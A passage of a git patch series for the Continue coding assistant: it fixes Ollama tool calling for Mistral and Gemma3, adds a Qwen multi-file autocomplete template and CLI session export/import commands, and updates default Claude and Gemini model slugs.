<132194176+joaquinhuigomez@users.noreply.github.com> Date: Tue, 24 Mar 2026 20:49:32 +0000 Subject: [PATCH 47/66] fix: Ollama MCP tool calling for Mistral and Gemma3 models (#11523) * fix: Ollama MCP tool calling for Mistral and Gemma3 models (#9249) Fix two issues with Ollama tool calling: 1. Mistral/Ministral: reorder messages so system messages never follow tool messages (causes "Unexpected role 'system' after role 'tool'") 2. Gemma3: strip unsupported fields (index, id, type) from tool_calls when converting assistant messages to Ollama format (causes "unknown variant 'index'") Also forward assistant toolCalls to Ollama's tool_calls format for proper multi-turn tool calling conversations. Co-Authored-By: Claude Opus 4.6 * fix: resolve CI failures in prettier and jest module resolution Remove .js extensions from jest.mock paths so the moduleNameMapper resolves ollamaHelper and url modules correctly. Apply prettier formatting to both changed files. Co-Authored-By: Claude Opus 4.6 * fix: remove relative-path jest.mock calls that break ESM resolution The jest ESM config resolves relative mock paths from the setup file context, not the test file, causing 'Cannot find module' errors. These mocks are unnecessary since the test bypasses the constructor via Object.create() and only tests pure transformation methods. Co-Authored-By: Claude Opus 4.6 * fix: guard unprotected JSON.parse calls in Ollama.ts Wrap JSON.parse of tool-call arguments in _convertToOllamaMessage and pull-progress lines in installModel with try/catch to prevent unhandled exceptions from aborting the request flow. Addresses Cubic review feedback on PR #11523. Co-Authored-By: Claude Opus 4.6 Signed-off-by: Joaquin Hui Gomez * fix: add missing type cast through unknown for ToolCall arguments TypeScript rejects a direct cast from string to JSONSchema7Object. Cast through unknown first to satisfy the type checker. Signed-off-by: Joaquin Co-Authored-By: Claude Opus 4.6 * fix: guard undefined arguments before JSONSchema7Object cast --------- Signed-off-by: Joaquin Hui Gomez Co-authored-by: Joaquin Hui Gomez Co-authored-by: Claude Opus 4.6 --- core/llm/llms/Ollama.test.ts | 226 +++++++++++++++++++++++++++++++++++ core/llm/llms/Ollama.ts | 80 ++++++++++++- 2 files changed, 303 insertions(+), 3 deletions(-) create mode 100644 core/llm/llms/Ollama.test.ts diff --git a/core/llm/llms/Ollama.test.ts b/core/llm/llms/Ollama.test.ts new file mode 100644 index 000000000..78d69dd15 --- /dev/null +++ b/core/llm/llms/Ollama.test.ts @@ -0,0 +1,226 @@ +jest.mock("@continuedev/fetch", () => ({ + streamResponse: jest.fn(), +})); + +import { ChatMessage } from "../../index.js"; +import Ollama from "./Ollama.js"; + +function createOllama(): Ollama { + // Create instance without triggering constructor's fetch call + const instance = Object.create(Ollama.prototype); + instance.model = "test-model"; + instance.completionOptions = {}; + instance.fetch = jest.fn(); + return instance; +} + +describe("Ollama", () => { + describe("_convertToOllamaMessage", () => { + let ollama: Ollama; + + beforeEach(() => { + ollama = createOllama(); + }); + + it("should convert a basic user message", () => { + const msg: ChatMessage = { role: "user", content: "hello" }; + const result = (ollama as any)._convertToOllamaMessage(msg); + expect(result).toEqual({ role: "user", content: "hello" }); + }); + + it("should convert assistant message with toolCalls, stripping index and other unsupported fields", () => { + const msg: ChatMessage = { + role: "assistant", + content: "", + toolCalls: [ + { + id: "tc_123", + type: "function", + index: 0, // This field causes errors on Gemma3 + function: { + name: "get_weather", + arguments: '{"city":"London"}', + }, + } as any, + ], + }; + const result = (ollama as any)._convertToOllamaMessage(msg); + + expect(result.tool_calls).toBeDefined(); + expect(result.tool_calls).toHaveLength(1); + expect(result.tool_calls[0]).toEqual({ + function: { + name: "get_weather", + arguments: { city: "London" }, + }, + }); + // Verify no index, id, or type fields leaked through + expect(result.tool_calls[0]).not.toHaveProperty("index"); + expect(result.tool_calls[0]).not.toHaveProperty("id"); + expect(result.tool_calls[0]).not.toHaveProperty("type"); + }); + + it("should handle toolCalls with object arguments (not string)", () => { + const msg: ChatMessage = { + role: "assistant", + content: "", + toolCalls: [ + { + id: "tc_456", + type: "function", + function: { + name: "search", + arguments: { query: "test" } as any, + }, + } as any, + ], + }; + const result = (ollama as any)._convertToOllamaMessage(msg); + expect(result.tool_calls[0].function.arguments).toEqual({ + query: "test", + }); + }); + + it("should not add tool_calls for assistant messages without them", () => { + const msg: ChatMessage = { role: "assistant", content: "Sure!" }; + const result = (ollama as any)._convertToOllamaMessage(msg); + expect(result.tool_calls).toBeUndefined(); + }); + + it("should convert tool result messages", () => { + const msg: ChatMessage = { + role: "tool", + content: '{"temp": 20}', + toolCallId: "tc_123", + }; + const result = (ollama as any)._convertToOllamaMessage(msg); + expect(result.role).toBe("tool"); + expect(result.content).toBe('{"temp": 20}'); + }); + + it("should filter out toolCalls without a function name", () => { + const msg: ChatMessage = { + role: "assistant", + content: "", + toolCalls: [ + { + id: "tc_1", + type: "function", + function: { + name: "valid_tool", + arguments: "{}", + }, + }, + { + id: "tc_2", + type: "function", + function: { + name: undefined as any, + arguments: "{}", + }, + }, + ], + }; + const result = (ollama as any)._convertToOllamaMessage(msg); + expect(result.tool_calls).toHaveLength(1); + expect(result.tool_calls[0].function.name).toBe("valid_tool"); + }); + }); + + describe("_reorderMessagesForToolCompat", () => { + let ollama: Ollama; + + beforeEach(() => { + ollama = createOllama(); + }); + + it("should move system message from after tool to before assistant+tool block", () => { + const messages = [ + { role: "system" as const, content: "You are helpful" }, + { role: "user" as const, content: "What's the weather?" }, + { + role: "assistant" as const, + content: "", + tool_calls: [{ function: { name: "get_weather", arguments: {} } }], + }, + { role: "tool" as const, content: '{"temp": 20}' }, + { role: "system" as const, content: "Use metric units" }, + { role: "user" as const, content: "Thanks" }, + ]; + + const result = (ollama as any)._reorderMessagesForToolCompat(messages); + + // No system message should follow a tool message + for (let i = 1; i < result.length; i++) { + if (result[i].role === "system") { + expect(result[i - 1].role).not.toBe("tool"); + } + } + + // The moved system message should appear before the assistant + const sysIdx = result.findIndex( + (m: any) => m.role === "system" && m.content === "Use metric units", + ); + const assistantIdx = result.findIndex((m: any) => m.role === "assistant"); + expect(sysIdx).toBeLessThan(assistantIdx); + }); + + it("should not modify messages when no system follows tool", () => { + const messages = [ + { role: "system" as const, content: "You are helpful" }, + { role: "user" as const, content: "Hello" }, + { role: "assistant" as const, content: "Hi there" }, + ]; + + const result = (ollama as any)._reorderMessagesForToolCompat(messages); + expect(result).toEqual(messages); + }); + + it("should handle multiple tool results before a system message", () => { + const messages = [ + { role: "user" as const, content: "Do two things" }, + { + role: "assistant" as const, + content: "", + tool_calls: [ + { function: { name: "tool1", arguments: {} } }, + { function: { name: "tool2", arguments: {} } }, + ], + }, + { role: "tool" as const, content: "result1" }, + { role: "tool" as const, content: "result2" }, + { role: "system" as const, content: "extra instructions" }, + ]; + + const result = (ollama as any)._reorderMessagesForToolCompat(messages); + + // System should come before the assistant message + const sysIdx = result.findIndex( + (m: any) => m.content === "extra instructions", + ); + const assistantIdx = result.findIndex((m: any) => m.role === "assistant"); + expect(sysIdx).toBeLessThan(assistantIdx); + + // No system message should follow a tool message + for (let i = 1; i < result.length; i++) { + if (result[i].role === "system") { + expect(result[i - 1].role).not.toBe("tool"); + } + } + }); + + it("should handle system message after tool when no preceding assistant", () => { + // Edge case: tool messages without a preceding assistant + const messages = [ + { role: "tool" as const, content: "result" }, + { role: "system" as const, content: "instructions" }, + ]; + + const result = (ollama as any)._reorderMessagesForToolCompat(messages); + + // System should be moved before tool + expect(result[0].role).toBe("system"); + expect(result[1].role).toBe("tool"); + }); + }); +}); diff --git a/core/llm/llms/Ollama.ts b/core/llm/llms/Ollama.ts index 5f0646777..9473a50cd 100644 --- a/core/llm/llms/Ollama.ts +++ b/core/llm/llms/Ollama.ts @@ -319,6 +319,41 @@ class Ollama extends BaseLLM implements ModelInstaller { }; ollamaMessage.content = renderChatMessage(message); + + // Convert assistant tool calls to Ollama format, stripping unsupported + // fields like `index` (which causes errors on Gemma3 models). + if ( + message.role === "assistant" && + "toolCalls" in message && + message.toolCalls?.length + ) { + ollamaMessage.tool_calls = message.toolCalls + .filter((tc) => tc.function?.name) + .map((tc) => { + let args: JSONSchema7Object; + if (typeof tc.function!.arguments === "string") { + try { + args = JSON.parse(tc.function!.arguments!); + } catch (e) { + console.warn( + `Failed to parse tool call arguments for "${tc.function!.name}": ${e}`, + ); + args = {}; + } + } else { + args = tc.function!.arguments + ? (tc.function!.arguments as unknown as JSONSchema7Object) + : {}; + } + return { + function: { + name: tc.function!.name!, + arguments: args, + }, + }; + }); + } + if (Array.isArray(message.content)) { const images: string[] = []; message.content.forEach((part) => { @@ -415,12 +450,47 @@ class Ollama extends BaseLLM implements ModelInstaller { } } + /** + * Reorder messages so that system messages never appear directly after tool + * messages. Some Ollama models (Mistral, Ministral) reject the sequence + * `tool → system` with "Unexpected role 'system' after role 'tool'". + * This moves such system messages to just before the preceding + * assistant+tool block. + */ + private _reorderMessagesForToolCompat( + messages: OllamaChatMessage[], + ): OllamaChatMessage[] { + const result: OllamaChatMessage[] = [...messages]; + + for (let i = 1; i < result.length; i++) { + if (result[i].role === "system" && result[i - 1].role === "tool") { + // Find the start of the tool block (assistant tool_call + tool results) + let insertIdx = i - 1; + while (insertIdx > 0 && result[insertIdx - 1].role === "tool") { + insertIdx--; + } + // Also skip past the assistant message that triggered the tool calls + if (insertIdx > 0 && result[insertIdx - 1].role === "assistant") { + insertIdx--; + } + + const [sysMsg] = result.splice(i, 1); + result.splice(insertIdx, 0, sysMsg); + // Don't increment i — re-check current position after splice + } + } + + return result; + } + protected async *_streamChat( messages: ChatMessage[], signal: AbortSignal, options: CompletionOptions, ): AsyncGenerator { - const ollamaMessages = messages.map(this._convertToOllamaMessage); + const ollamaMessages = this._reorderMessagesForToolCompat( + messages.map(this._convertToOllamaMessage), + ); const chatOptions: OllamaChatOptions = { model: this._getModel(), messages: ollamaMessages, @@ -725,8 +795,12 @@ class Ollama extends BaseLLM implements ModelInstaller { const chunk = new TextDecoder().decode(value); const lines = chunk.split("\n").filter(Boolean); for (const line of lines) { - const data = JSON.parse(line); - progressReporter?.(data.status, data.completed, data.total); + try { + const data = JSON.parse(line); + progressReporter?.(data.status, data.completed, data.total); + } catch (e) { + console.warn(`Error parsing Ollama pull response: ${e}`); + } } } } finally { From 2874981435a754685db99a9c280a0fe1633b581a Mon Sep 17 00:00:00 2001 From: Rezky Hamid Date: Wed, 25 Mar 2026 03:50:22 +0700 Subject: [PATCH 48/66] feat(autocomplete): Add Qwen multi-file FIM template for repository-level autocompletion (#10612) - Add qwenMultifileFimTemplate supporting repository-level context - Uses <|repo_name|>, <|file_sep|> tokens for multi-file context - Falls back to basic FIM when no snippets provided - Resolves issue #3589 --- .../templating/AutocompleteTemplate.ts | 73 ++++++++++++++++++- 1 file changed, 72 insertions(+), 1 deletion(-) diff --git a/core/autocomplete/templating/AutocompleteTemplate.ts b/core/autocomplete/templating/AutocompleteTemplate.ts index 72820b2fd..c3c2ccee7 100644 --- a/core/autocomplete/templating/AutocompleteTemplate.ts +++ b/core/autocomplete/templating/AutocompleteTemplate.ts @@ -71,6 +71,77 @@ const qwenCoderFimTemplate: AutocompleteTemplate = { }, }; +// Qwen multi-file FIM template for repository-level autocompletion +// https://github.com/continuedev/continue/issues/3589 +const qwenMultifileFimTemplate: AutocompleteTemplate = { + compilePrefixSuffix: ( + prefix: string, + suffix: string, + filepath: string, + reponame: string, + snippets: AutocompleteSnippet[], + workspaceUris: string[], + ): [string, string] => { + function getFileName(snippet: { uri: string; uniquePath: string }): string { + return snippet.uri.startsWith("file://") + ? snippet.uniquePath + : snippet.uri; + } + + if (snippets.length === 0) { + return [prefix, suffix]; + } + + const relativePaths = getShortestUniqueRelativeUriPaths( + [ + ...snippets.map((snippet) => + "filepath" in snippet ? snippet.filepath : "Untitled.txt", + ), + filepath, + ], + workspaceUris, + ); + + const fileContents = snippets + .map((snippet, i) => { + if (snippet.type === AutocompleteSnippetType.Diff) { + return `<|file_sep|>${getFileName(relativePaths[i])}\n${snippet.content}`; + } + return `<|file_sep|>${getFileName(relativePaths[i])}\n${snippet.content}`; + }) + .join("\n"); + + const fullPrefix = `<|repo_name|>${reponame}\n${fileContents}\n<|file_sep|>${getFileName( + relativePaths[relativePaths.length - 1], + )}<|system_separator_istruction_repository_level|>${prefix}`; + + return [fullPrefix, suffix]; + }, + template: (prefix: string, suffix: string): string => { + if (prefix.includes("<|system_separator_istruction_repository_level|>")) { + const [beforeSeparator, ...afterSeparator] = prefix.split( + "<|system_separator_istruction_repository_level|>", + ); + const combinedAfterSeparator = afterSeparator.join(""); + return `${beforeSeparator}\n<|fim_prefix|>${combinedAfterSeparator}<|fim_suffix|>${suffix}<|fim_middle|>`; + } + return `<|fim_prefix|>${prefix}<|fim_suffix|>${suffix}<|fim_middle|>`; + }, + completionOptions: { + stop: [ + "<|endoftext|>", + "<|fim_prefix|>", + "<|fim_middle|>", + "<|fim_suffix|>", + "<|fim_pad|>", + "<|repo_name|>", + "<|file_sep|>", + "<|im_start|>", + "<|im_end|>", + ], + }, +}; + // https://www.ibm.com/granite/docs/models/granite#fim const granite4FimTemplate: AutocompleteTemplate = { template: @@ -454,7 +525,7 @@ export function getTemplateForModel(model: string): AutocompleteTemplate { } if (lowerCaseModel.includes("qwen") && lowerCaseModel.includes("coder")) { - return qwenCoderFimTemplate; + return qwenMultifileFimTemplate; } if (lowerCaseModel.includes("granite") && lowerCaseModel.includes("4")) { From b155702635df673a09d4c53cf24d33ae32f23bb9 Mon Sep 17 00:00:00 2001 From: Aditya Mitra <61635505+uinstinct@users.noreply.github.com> Date: Wed, 25 Mar 2026 02:54:30 +0530 Subject: [PATCH 49/66] feat(cli): export and import sessions (#11075) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * add session export slash command * import session * Fix slashCommands test: mock path.isAbsolute and history manager The import of historyManager in slashCommands.ts triggers core/util/paths.ts which calls path.isAbsolute — not provided by the existing path mock. Add the missing path exports and mock core/util/history.js to avoid filesystem operations in tests. --------- Co-authored-by: Dallin Romney --- extensions/cli/src/commands/commands.ts | 10 ++ extensions/cli/src/slashCommands.test.ts | 13 +++ extensions/cli/src/slashCommands.ts | 109 ++++++++++++++++++ extensions/cli/src/ui/TUIChat.tsx | 67 +++++++++++ .../cli/src/ui/components/ScreenContent.tsx | 12 ++ .../cli/src/ui/context/NavigationContext.tsx | 2 +- .../cli/src/ui/hooks/useChat.helpers.ts | 7 ++ extensions/cli/src/ui/hooks/useChat.ts | 2 + extensions/cli/src/ui/hooks/useChat.types.ts | 2 + 9 files changed, 223 insertions(+), 1 deletion(-) diff --git a/extensions/cli/src/commands/commands.ts b/extensions/cli/src/commands/commands.ts index dad5f8bb4..9f057af44 100644 --- a/extensions/cli/src/commands/commands.ts +++ b/extensions/cli/src/commands/commands.ts @@ -131,6 +131,16 @@ export const SYSTEM_SLASH_COMMANDS: SystemCommand[] = [ description: "Import a skill from a URL or name into ~/.continue/skills", category: "system", }, + { + name: "export", + description: "Export a session to JSON file", + category: "system", + }, + { + name: "import", + description: "Import a session from JSON file", + category: "system", + }, ]; // Remote mode specific commands diff --git a/extensions/cli/src/slashCommands.test.ts b/extensions/cli/src/slashCommands.test.ts index 76ebccd6f..1d3675b26 100644 --- a/extensions/cli/src/slashCommands.test.ts +++ b/extensions/cli/src/slashCommands.test.ts @@ -74,8 +74,21 @@ vi.mock("os", () => ({ vi.mock("path", () => ({ default: { join: vi.fn((...parts) => parts.join("/")), + isAbsolute: vi.fn((p: string) => p.startsWith("/")), + resolve: vi.fn((...parts) => parts.join("/")), }, join: vi.fn((...parts) => parts.join("/")), + isAbsolute: vi.fn((p: string) => p.startsWith("/")), + resolve: vi.fn((...parts) => parts.join("/")), +})); + +// Mock history manager to avoid file system operations +vi.mock("core/util/history.js", () => ({ + default: { + list: vi.fn(() => []), + load: vi.fn(() => ({ history: [] })), + save: vi.fn(), + }, })); // Mock session functions diff --git a/extensions/cli/src/slashCommands.ts b/extensions/cli/src/slashCommands.ts index 64f3787f7..5b472ca75 100644 --- a/extensions/cli/src/slashCommands.ts +++ b/extensions/cli/src/slashCommands.ts @@ -1,5 +1,10 @@ +import fs from "fs"; + import { type AssistantConfig } from "@continuedev/sdk"; import chalk from "chalk"; +import type { Session } from "core/index.js"; +import historyManager from "core/util/history.js"; +import { v4 as uuidv4 } from "uuid"; import { isAuthenticated, @@ -223,6 +228,108 @@ function handleSessions() { return { openSessionSelector: true }; } +const EXPORTED_SESSION_VERSION = 1; + +interface ExportedSession { + version: number; + exportedAt: string; + session: Session; +} + +function isValidExportedSession(data: unknown): data is ExportedSession { + if (typeof data !== "object" || data === null) { + return false; + } + const obj = data as Record; + return ( + obj.version === EXPORTED_SESSION_VERSION && + typeof obj.exportedAt === "string" && + typeof obj.session === "object" && + obj.session !== null && + typeof (obj.session as Record).sessionId === "string" && + typeof (obj.session as Record).title === "string" && + Array.isArray((obj.session as Record).history) + ); +} + +function handleExport(_args: string[]): SlashCommandResult { + posthogService.capture("useSlashCommand", { name: "export" }); + + return { + exit: false, + openExportSelector: true, + }; +} + +function handleImport(args: string[]): SlashCommandResult { + posthogService.capture("useSlashCommand", { name: "import" }); + + const filePath = args.join(" ").trim(); + if (!filePath) { + return { + exit: false, + output: chalk.yellow( + "Please provide a file path. Usage: /import ", + ), + }; + } + + if (!fs.existsSync(filePath)) { + return { + exit: false, + output: chalk.red(`File not found: ${filePath}`), + }; + } + + try { + const fileContent = fs.readFileSync(filePath, "utf-8"); + const exportedData: unknown = JSON.parse(fileContent); + + if (!isValidExportedSession(exportedData)) { + return { + exit: false, + output: chalk.red( + "Invalid session file: expected a valid Continue exported session (version 1).", + ), + }; + } + + let session = exportedData.session; + + const existing = historyManager.load(session.sessionId); + const sessionExists = existing.history.length > 0; + + if (sessionExists) { + const originalId = session.sessionId; + session = { + ...session, + sessionId: uuidv4(), + }; + historyManager.save(session); + return { + exit: false, + output: chalk.green( + `Session imported with new ID: ${session.sessionId}\n` + + chalk.gray(`(original ID: ${originalId} already existed)`), + ), + }; + } + + historyManager.save(session); + return { + exit: false, + output: chalk.green( + `Session imported: ${session.sessionId} (${session.title})`, + ), + }; + } catch (error: any) { + return { + exit: false, + output: chalk.red(`Failed to import session: ${error.message}`), + }; + } +} + const commandHandlers: Record = { help: handleHelp, clear: () => { @@ -261,6 +368,8 @@ const commandHandlers: Record = { skills: () => handleSkills(), "import-skill": (args) => handleImportSkill(args), sessions: handleSessions, + export: handleExport, + import: handleImport, }; export async function handleSlashCommands( diff --git a/extensions/cli/src/ui/TUIChat.tsx b/extensions/cli/src/ui/TUIChat.tsx index 62174cead..21692df23 100644 --- a/extensions/cli/src/ui/TUIChat.tsx +++ b/extensions/cli/src/ui/TUIChat.tsx @@ -287,6 +287,7 @@ const TUIChat: React.FC = ({ onShowUpdateSelector: () => navigateTo("update"), onShowSessionSelector: () => navigateTo("session"), onShowJobsSelector: () => navigateTo("jobs"), + onShowExportSelector: () => navigateTo("export"), onReload: handleReload, onClear: handleClear, onRefreshStatic: () => setStaticRefreshTrigger((prev) => prev + 1), @@ -332,6 +333,71 @@ const TUIChat: React.FC = ({ [closeCurrentScreen, setChatHistory, setShowIntroMessage], ); + // Export session handler + const handleExportSession = useCallback( + async (sessionId: string) => { + try { + const { loadSessionById } = await import("../session.js"); + const fs = await import("fs"); + const path = await import("path"); + + const session = loadSessionById(sessionId); + if (!session) { + setChatHistory((prev) => [ + ...prev, + { + message: { + role: "system", + content: `Failed to export: Session ${sessionId} not found`, + }, + contextItems: [], + }, + ]); + closeCurrentScreen(); + return; + } + + const exportPayload = { + version: 1, + exportedAt: new Date().toISOString(), + session, + }; + + const defaultPath = path.join( + process.cwd(), + `continue-session-${session.sessionId}.json`, + ); + const jsonOutput = JSON.stringify(exportPayload, null, 2); + fs.writeFileSync(defaultPath, jsonOutput, "utf-8"); + + setChatHistory((prev) => [ + ...prev, + { + message: { + role: "system", + content: `Session exported to ${defaultPath}`, + }, + contextItems: [], + }, + ]); + closeCurrentScreen(); + } catch (error: any) { + setChatHistory((prev) => [ + ...prev, + { + message: { + role: "system", + content: `Failed to export session: ${error.message}`, + }, + contextItems: [], + }, + ]); + closeCurrentScreen(); + } + }, + [closeCurrentScreen, setChatHistory], + ); + // Determine if input should be disabled // Allow input even when services are loading, but disable for UI overlays const isInputDisabled = @@ -432,6 +498,7 @@ const TUIChat: React.FC = ({ handleConfigSelect={handleConfigSelect} handleModelSelect={handleModelSelect} handleSessionSelect={handleSessionSelect} + handleExportSession={handleExportSession} handleReload={handleReload} closeCurrentScreen={closeCurrentScreen} activePermissionRequest={activePermissionRequest} diff --git a/extensions/cli/src/ui/components/ScreenContent.tsx b/extensions/cli/src/ui/components/ScreenContent.tsx index 516cb7811..856484c54 100644 --- a/extensions/cli/src/ui/components/ScreenContent.tsx +++ b/extensions/cli/src/ui/components/ScreenContent.tsx @@ -31,6 +31,7 @@ interface ScreenContentProps { handleConfigSelect: (config: ConfigOption) => Promise; handleModelSelect: (model: ModelOption) => Promise; handleSessionSelect: (sessionId: string) => Promise; + handleExportSession: (sessionId: string) => Promise; handleReload: () => Promise; closeCurrentScreen: () => void; activePermissionRequest: ActivePermissionRequest | null; @@ -74,6 +75,7 @@ export const ScreenContent: React.FC = ({ handleConfigSelect, handleModelSelect, handleSessionSelect, + handleExportSession, handleReload, closeCurrentScreen, activePermissionRequest, @@ -164,6 +166,16 @@ export const ScreenContent: React.FC = ({ ); } + // Export selector + if (isScreenActive("export")) { + return ( + + ); + } + // Jobs selector if (isScreenActive("jobs")) { return ; diff --git a/extensions/cli/src/ui/context/NavigationContext.tsx b/extensions/cli/src/ui/context/NavigationContext.tsx index 04c1689f5..6f389c599 100644 --- a/extensions/cli/src/ui/context/NavigationContext.tsx +++ b/extensions/cli/src/ui/context/NavigationContext.tsx @@ -22,7 +22,7 @@ export type NavigationScreen = | "update" // Update selector | "edit" // Edit message selector | "jobs" // Background Jobs selector - | "session"; // Session selector + | "export"; // Export session selector interface NavigationState { currentScreen: NavigationScreen; diff --git a/extensions/cli/src/ui/hooks/useChat.helpers.ts b/extensions/cli/src/ui/hooks/useChat.helpers.ts index 6eb49924d..62b9490c0 100644 --- a/extensions/cli/src/ui/hooks/useChat.helpers.ts +++ b/extensions/cli/src/ui/hooks/useChat.helpers.ts @@ -52,6 +52,7 @@ interface ProcessSlashCommandResultOptions { onShowMCPSelector?: () => void; onShowSessionSelector?: () => void; onShowJobsSelector?: () => void; + onShowExportSelector?: () => void; onClear?: () => void; } @@ -68,6 +69,7 @@ export function processSlashCommandResult({ onShowMCPSelector, onShowSessionSelector, onShowJobsSelector, + onShowExportSelector, onClear, }: ProcessSlashCommandResultOptions): string | null { if (result.exit) { @@ -104,6 +106,11 @@ export function processSlashCommandResult({ return null; } + if (result.openExportSelector && onShowExportSelector) { + onShowExportSelector(); + return null; + } + if (result.clear) { const systemMessage = chatHistory.find( (item) => item.message.role === "system", diff --git a/extensions/cli/src/ui/hooks/useChat.ts b/extensions/cli/src/ui/hooks/useChat.ts index 21b0a2c04..09d328e88 100644 --- a/extensions/cli/src/ui/hooks/useChat.ts +++ b/extensions/cli/src/ui/hooks/useChat.ts @@ -60,6 +60,7 @@ export function useChat({ onShowMCPSelector, onShowSessionSelector, onShowJobsSelector, + onShowExportSelector, onClear, onRefreshStatic, isRemoteMode = false, @@ -453,6 +454,7 @@ export function useChat({ onShowSessionSelector, onShowJobsSelector, onShowUpdateSelector, + onShowExportSelector, onClear, }); diff --git a/extensions/cli/src/ui/hooks/useChat.types.ts b/extensions/cli/src/ui/hooks/useChat.types.ts index 0e2887c6a..47a9b536a 100644 --- a/extensions/cli/src/ui/hooks/useChat.types.ts +++ b/extensions/cli/src/ui/hooks/useChat.types.ts @@ -20,6 +20,7 @@ export interface UseChatProps { onShowModelSelector?: () => void; onShowSessionSelector?: () => void; onShowJobsSelector?: () => void; + onShowExportSelector?: () => void; onReload?: () => Promise; onClear?: () => void; onRefreshStatic?: () => void; @@ -68,6 +69,7 @@ export interface SlashCommandResult { openUpdateSelector?: boolean; openSessionSelector?: boolean; openJobsSelector?: boolean; + openExportSelector?: boolean; compact?: boolean; diffContent?: string; } From ceb3bbbd9f48510c951a62c6a3061fe63619c68f Mon Sep 17 00:00:00 2001 From: Dallin Romney Date: Tue, 24 Mar 2026 17:03:52 -0700 Subject: [PATCH 50/66] Remove Gemini 2.0 Flash from defaults and update Claude defaults to 4.6 (#11782) chore: remove Gemini 2.0 Flash from defaults/UI/docs and update Claude defaults to 4.6 Gemini 2.0 Flash is no longer supported for new Gemini users. Remove it from the add model form, onboarding defaults, config schema, docs, and CometAPI supported models list. Replace with Gemini 2.5 Flash where appropriate. Gemini 2.0 Flash remains in llm-info for existing users. Update Claude model defaults to 4.6 series (Sonnet 4.6 and Opus 4.6) in onboarding config, workspace block templates, and documentation examples. --- core/config/onboarding.ts | 4 +- core/config/workspace/workspaceBlocks.ts | 4 +- core/llm/llms/CometAPI.ts | 1 - .../deep-dives/model-capabilities.mdx | 2 +- docs/customize/model-roles/apply.mdx | 2 +- docs/customize/model-roles/edit.mdx | 4 +- docs/faqs.mdx | 4 +- docs/reference.mdx | 2 +- extensions/vscode/config_schema.json | 16 ++--- gui/src/pages/AddNewModel/configs/models.ts | 71 ------------------- .../pages/AddNewModel/configs/providers.ts | 2 - .../config-yaml/src/schemas/commonSlugs.ts | 2 +- 12 files changed, 18 insertions(+), 96 deletions(-) diff --git a/core/config/onboarding.ts b/core/config/onboarding.ts index dde0fefe7..e55286c0e 100644 --- a/core/config/onboarding.ts +++ b/core/config/onboarding.ts @@ -9,7 +9,7 @@ export const LOCAL_ONBOARDING_EMBEDDINGS_MODEL = "nomic-embed-text:latest"; export const LOCAL_ONBOARDING_EMBEDDINGS_TITLE = "Nomic Embed"; const ANTHROPIC_MODEL_CONFIG = { - slugs: ["anthropic/claude-3-7-sonnet", "anthropic/claude-4-sonnet"], + slugs: ["anthropic/claude-sonnet-4-6", "anthropic/claude-opus-4-6"], apiKeyInputName: "ANTHROPIC_API_KEY", }; const OPENAI_MODEL_CONFIG = { @@ -19,7 +19,7 @@ const OPENAI_MODEL_CONFIG = { // TODO: These need updating on the hub const GEMINI_MODEL_CONFIG = { - slugs: ["google/gemini-2.5-pro", "google/gemini-2.0-flash"], + slugs: ["google/gemini-2.5-pro", "google/gemini-2.5-flash"], apiKeyInputName: "GEMINI_API_KEY", }; diff --git a/core/config/workspace/workspaceBlocks.ts b/core/config/workspace/workspaceBlocks.ts index 4f20eda89..6dfe09a4c 100644 --- a/core/config/workspace/workspaceBlocks.ts +++ b/core/config/workspace/workspaceBlocks.ts @@ -42,9 +42,9 @@ function getContentsForNewBlock(blockType: BlockType): ConfigYaml { configYaml.models = [ { provider: "anthropic", - model: "claude-sonnet-4-5", + model: "claude-sonnet-4-6", apiKey: "${{ secrets.ANTHROPIC_API_KEY }}", - name: "Claude Sonnet 4.5", + name: "Claude Sonnet 4.6", roles: ["chat", "edit"], }, ]; diff --git a/core/llm/llms/CometAPI.ts b/core/llm/llms/CometAPI.ts index 43b6cbb7e..fb4df7124 100644 --- a/core/llm/llms/CometAPI.ts +++ b/core/llm/llms/CometAPI.ts @@ -211,7 +211,6 @@ class CometAPI extends OpenAI { "gemini-2.5-pro", "gemini-2.5-flash", "gemini-2.5-flash-lite", - "gemini-2.0-flash", // Grok series "grok-4-0709", diff --git a/docs/customize/deep-dives/model-capabilities.mdx b/docs/customize/deep-dives/model-capabilities.mdx index ab2adcd83..fc429c8b6 100644 --- a/docs/customize/deep-dives/model-capabilities.mdx +++ b/docs/customize/deep-dives/model-capabilities.mdx @@ -202,7 +202,7 @@ This matrix shows which models support tool use and image input capabilities. Co | Model | Tool Use | Image Input | Context Window | | :--------------- | -------- | ----------- | -------------- | | Gemini 2.5 Pro | Yes | Yes | 2M | -| Gemini 2.0 Flash | Yes | Yes | 1M | +| Gemini 2.5 Flash | Yes | Yes | 1M | ### Mistral diff --git a/docs/customize/model-roles/apply.mdx b/docs/customize/model-roles/apply.mdx index 3d8cab98f..f47a57b21 100644 --- a/docs/customize/model-roles/apply.mdx +++ b/docs/customize/model-roles/apply.mdx @@ -37,7 +37,7 @@ Example: models: - name: My Custom Apply Template provider: anthropic - model: claude-3-5-sonnet-latest + model: claude-sonnet-4-6 promptTemplates: apply: | Original: {{{original_code}}} diff --git a/docs/customize/model-roles/edit.mdx b/docs/customize/model-roles/edit.mdx index 7b071c8a7..91dc2fe35 100644 --- a/docs/customize/model-roles/edit.mdx +++ b/docs/customize/model-roles/edit.mdx @@ -16,9 +16,9 @@ version: 0.0.1 schema: v1 models: - - name: Claude 4 Sonnet + - name: Claude Sonnet 4.6 provider: anthropic - model: claude-3-5-sonnet-latest + model: claude-sonnet-4-6 apiKey: roles: - edit diff --git a/docs/faqs.mdx b/docs/faqs.mdx index 1a4cd6c6e..007987d98 100644 --- a/docs/faqs.mdx +++ b/docs/faqs.mdx @@ -343,7 +343,7 @@ version: 0.0.1 schema: v1 models: - uses: ollama/llama3.1-8b - - uses: anthropic/claude-3.5-sonnet + - uses: anthropic/claude-sonnet-4-6 - uses: openai/gpt-4 ``` @@ -357,7 +357,7 @@ version: 0.0.1 schema: v1 models: # Hub model addon - - uses: anthropic/claude-3.5-sonnet + - uses: anthropic/claude-sonnet-4-6 # Local model configuration - name: Local Ollama diff --git a/docs/reference.mdx b/docs/reference.mdx index 58eeec1ee..fd6f4e4ec 100644 --- a/docs/reference.mdx +++ b/docs/reference.mdx @@ -382,7 +382,7 @@ name: My Config version: 1.0.0 schema: v1 models: - - uses: anthropic/claude-3.5-sonnet + - uses: anthropic/claude-sonnet-4-6 with: ANTHROPIC_API_KEY: ${{ secrets.ANTHROPIC_API_KEY }} override: diff --git a/extensions/vscode/config_schema.json b/extensions/vscode/config_schema.json index 2d5aee801..251bc5c2d 100644 --- a/extensions/vscode/config_schema.json +++ 